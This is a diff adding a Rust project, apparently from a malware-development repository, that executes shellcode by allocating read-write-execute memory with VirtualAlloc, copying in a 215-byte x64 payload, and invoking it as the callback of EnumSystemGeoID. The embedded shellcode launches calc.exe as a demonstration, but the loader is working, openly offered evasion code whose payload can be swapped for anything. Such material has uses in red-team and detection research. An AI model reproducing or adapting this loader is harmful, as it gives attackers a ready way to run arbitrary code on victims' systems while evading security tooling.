Shellcode Exec using EnumSystemGeoID

Author: Whitecat18

shellcode_exec/EnumSystemGeoID/Cargo.toml

@@ -0,0 +1,7 @@
+[package]
+name = "EnumSystemGeoID"
+version = "0.1.0"
+edition = "2024"
+
+[dependencies]
+winapi = {version = "0.3.9", features = ["processthreadsapi", "memoryapi","winnls", "winnt", "errhandlingapi"] }

shellcode_exec/EnumSystemGeoID/src/main.rs

@@ -0,0 +1,99 @@
+// Shellcode Execution using EnumSystemGeoID 
+// Author: @5mukx
+
+use std::{
+    // io::{Read, Write, stdout},
+    ptr::null_mut,
+};
+
+use winapi::{
+    ctypes::c_void,
+    um::{
+        errhandlingapi::GetLastError,
+        memoryapi::VirtualAlloc,
+        processthreadsapi::GetCurrentProcessId,
+        winnls::{EnumSystemGeoID, GEO_ENUMPROC},
+        winnt::{MEM_COMMIT, PAGE_EXECUTE_READWRITE},
+    },
+};
+
+
+// => for debugging purpose !
+// fn pause() {
+//     let mut stdout = stdout();
+//     stdout.write(b"[*] Press Enter to continue ...\n").unwrap();
+//     stdout.flush().unwrap();
+//     std::io::stdin().read(&mut [0]).unwrap();
+// }
+
+fn main() {
+    execute_shellcode_callback();
+}
+
+fn execute_shellcode_callback() {
+
+    // my custom shellcode template: https://github.com/Whitecat18/Rust-for-Malware-Development/blob/fec232f5251fbacddd2e11fc29e6b0b2b342aaf0/Custom_Shellcode/calc_shellcode2.rs#L11
+
+    let shellcode: [u8; 215] = [
+        0x48, 0x31, 0xdb, 0x65, 0x48, 0x8b, 0x1c, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x5b,
+        0x18, 0x48, 0x81, 0xc3, 0x20, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x1b, 0x48, 0x8b, 0x1b, 0x48,
+        0x8b, 0x1b, 0x48, 0x8b, 0x5b, 0x20, 0x49, 0x89, 0xd8, 0x41, 0x8b, 0x58, 0x3c, 0x4c, 0x01,
+        0xc3, 0x48, 0x31, 0xc9, 0x80, 0xc1, 0x88, 0x8b, 0x1c, 0x0b, 0x4c, 0x01, 0xc3, 0x49, 0x89,
+        0xd9, 0x4d, 0x31, 0xd2, 0x45, 0x8b, 0x51, 0x1c, 0x4d, 0x01, 0xc2, 0x4d, 0x31, 0xdb, 0x45,
+        0x8b, 0x59, 0x20, 0x4d, 0x01, 0xc3, 0x4d, 0x31, 0xe4, 0x45, 0x8b, 0x61, 0x24, 0x4d, 0x01,
+        0xc4, 0x48, 0x31, 0xc9, 0x80, 0xc1, 0x07, 0x48, 0x31, 0xc0, 0x50, 0x48, 0xb8, 0x57, 0x69,
+        0x6e, 0x45, 0x78, 0x65, 0x63, 0x00, 0x50, 0x48, 0x89, 0xe3, 0xe8, 0x33, 0x00, 0x00, 0x00,
+        0x49, 0x89, 0xc5, 0x48, 0x31, 0xc9, 0x48, 0x31, 0xd2, 0x51, 0x48, 0xb9, 0x63, 0x61, 0x6c,
+        0x63, 0x2e, 0x65, 0x78, 0x65, 0x51, 0x48, 0x89, 0xe1, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0x48, 0x81, 0xec, 0x20,
+        0x00, 0x00, 0x00, 0x41, 0xff, 0xd5, 0x48, 0x31, 0xc0, 0x51, 0x48, 0x31, 0xff, 0x48, 0x8b,
+        0x0c, 0x24, 0x48, 0x89, 0xde, 0x41, 0x8b, 0x3c, 0x83, 0x4c, 0x01, 0xc7, 0xf3, 0xa6, 0x74,
+        0x05, 0x48, 0xff, 0xc0, 0xeb, 0xe6, 0x59, 0x66, 0x41, 0x8b, 0x04, 0x44, 0x41, 0x8b, 0x04,
+        0x82, 0x4c, 0x01, 0xc0, 0xc3,
+    ];
+
+
+    unsafe {
+        let proc_id = GetCurrentProcessId();
+        println!("[+] Process ID: {}", proc_id);
+
+        let base_addr = VirtualAlloc(
+            null_mut(),
+            shellcode.len(),
+            MEM_COMMIT,
+            PAGE_EXECUTE_READWRITE,
+        );
+
+        if base_addr.is_null() {
+            println!("[-] Memory Allocation Failed");
+            return;
+        }
+
+        println!("[+] Memory allocated at: {:?}", base_addr);
+
+        println!("[*] Copying shellcode...");
+        std::ptr::copy_nonoverlapping(shellcode.as_ptr(), base_addr as *mut u8, shellcode.len());
+
+        println!("[*] Executing Callback");
+
+        /*
+        BOOL EnumSystemGeoID(
+            [in] GEOCLASS     GeoClass,
+            [in] GEOID        ParentGeoId,
+            [in] GEO_ENUMPROC lpGeoEnumProc
+        );
+         */
+
+        let result = EnumSystemGeoID(
+            16,
+            0,
+            std::mem::transmute::<*mut c_void, GEO_ENUMPROC>(base_addr),
+        );
+
+        if result > 0 {
+            println!("[+] Execution successful!");
+        } else {
+            println!("[-] Execution failed. Error code: {}", GetLastError());
+        }
+    }
+}